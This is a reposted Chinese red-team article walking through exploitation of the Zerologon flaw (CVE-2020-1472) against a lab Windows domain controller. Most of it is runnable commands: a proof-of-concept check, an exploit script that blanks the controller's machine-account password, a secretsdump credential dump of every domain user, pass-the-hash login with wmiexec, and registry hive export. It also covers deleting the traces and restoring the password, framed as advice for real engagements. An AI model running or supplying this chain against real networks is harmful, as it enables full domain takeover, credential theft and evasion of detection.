专栏首页漏洞知识库NetLogon 域内提权漏洞(CVE-2020-1472)复现过程

NetLogon 域内提权漏洞(CVE-2020-1472)复现过程

简介

CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞,攻击者通过NetLogon,建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)Windows Server 2012Windows Server 2012 (Server Core installation)Windows Server 2012 R2Windows Server 2012 R2 (Server Core installation)Windows Server 2016Windows Server 2016 (Server Core installation)Windows Server 2019Windows Server 2019 (Server Core installation)Windows Server, version 1903 (Server Core installation)Windows Server, version 1909 (Server Core installation)Windows Server, version 2004 (Server Core installation)

复现过程

域控IP:192.168.159.149

域内跳板IP:192.168.159.154

域:Motoo.nc

查看域控的主机名:

net group "domain controllers" /domain

可以看到 Motoo-DCSRV 是域控的主机名!

首先通过 Poc 检测漏洞是否存在:

python3 cve-2020-1472-poc.py Motoo-DCSRV 192.168.159.149

返回 Success,说明漏洞存在!

使用 exploit 漏洞脚本将域控机器账号重置:

python3 cve-2020-1472-exploit.py Motoo-DCSRV 192.168.159.149

之后使用 DCSync 导出域内所有用户的凭证:(主要有四个空格)

python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149    -no-pass

得到了域控的 Hash:

Motoo.nc\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7c85389bc79a4eb184e620b6e8c37905

然后再通过 wmic hash 传递:

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c85389bc79a4eb184e620b6e8c37905 Motoo.nc/Administrator@192.168.159.149

然后通过导出 sam system 等文件到本地,获取域控机器上本地保存之前的 hash 值用于恢复,不然就脱域了:

reg save HKLM\SYSTEM system.savereg save HKLM\SAM sam.savereg save HKLM\SECURITY security.saveget system.saveget sam.saveget security.save 

记得下载完后删除痕迹文件:

del /f system.savedel /f sam.savedel /f security.save

之后你会发现再你的当前机器会生成几个文件:sam.save、security.save、system.save

之后通过 sam.save、security.save、system.save 这些文件获得原来域控机器上的 Ntlm Hash 值,用于恢复密码:

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

通过拿到 $MACHINE.ACC: 的值,然后进行恢复:注意只有后半部分:

$MACHINE.ACC: 的值$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:ce7b34c0f2c72d6cb03123ef5ff741ca
python3 reinstall_original_pw.py Motoo-DCSRV 192.168.159.149 ce7b34c0f2c72d6cb03123ef5ff741ca

这个时候你还可以使用脚本来检测是否恢复密码成功:

python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149 -just-dc-no-pass

或者还可以使用这个:注意四个空格

python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149    -no-pass

可以看到我们使用空密码去获取域内的所有用户的凭证已经不行了:

这个时候才是真正恢复成功!大家在实战的时候一定要在本地多次复现!别在实战中重置了域控的密码为空,结果你不会还原导致目标脱域了,你就GG了!

本文分享自微信公众号 - 渗透攻击红队(RedTeamHacker),作者:渗透攻击红队

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-01-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 那些年我们一起学XSS - 1. 什么都没过滤的入门情况

    4. 作为第一个最基础的例子, 我们拿出的是一个什么都没过滤(其实还是有些转义的,主要没过滤< , >)的例子。这种例子出现在腾讯这种大网站的概率不是很高。但是...

    渗透攻击红队
  • 横向移动 - PsExec 的使用

    PsExec 主要用于大批量 Windows 主机的维护,在域环境下效果尤其好。(因为 PsExec 是 Windows 提供的工具,所以杀毒软件将其列入白名单...

    渗透攻击红队
  • Windows - Hash散列值抓取方法

    LM Hash(LAN Manager Hash)其本质是 DES 加密。在 Windows 2008 及开始之后默认禁用的是 LM Hash。

    渗透攻击红队
  • 谈谈 synchronized 和 ReentrantLock 的区别

    “可重入锁”概念是:自己可以再次获取自己的内部锁。比如,一个线程获得了某个对象的锁,此时这个对象锁还没有释放,当其再次想要获取这个对象的锁时,还可以再获取的;如...

    happyJared
  • WPF介绍

    用户1112962
  • flask 通过flask-script生成指令(flask 36)

    from flask import Flask from flask_bootstrap import Bootstrap from flask_momen...

    用户5760343
  • C++ 成员对象和封闭类

    上例中,如果 CCar 类不定义构造函数,则会使用默认的无参构造函数,那么下面的语句会编译出错:

    小林coding
  • 重温经典,让我们回头看看95年的Windows。

    这可能是一篇会暴露年龄的推送,问个问题:你是95年以前生人还是95年以后的呢?你从哪一年开始用Windows的呢?

    课代表
  • 不同的peak calling软件比较

    我一般用MACS2做peak calling,但是不知道效果是不是最好的,去搜了一下,发现14年有一篇文章用DNase-seq的数据比较了主流的几个peak c...

    生信编程日常
  • mysql表名忽略大小写问题记录

    问题描述: 一开发同事在linux下调一个程序老是报错说找不到表,但是登陆mysql,show tables查看明明是已经创建了这张表的!!如下: mysql>...

    洗尽了浮华

扫码关注云+社区

领取腾讯云代金券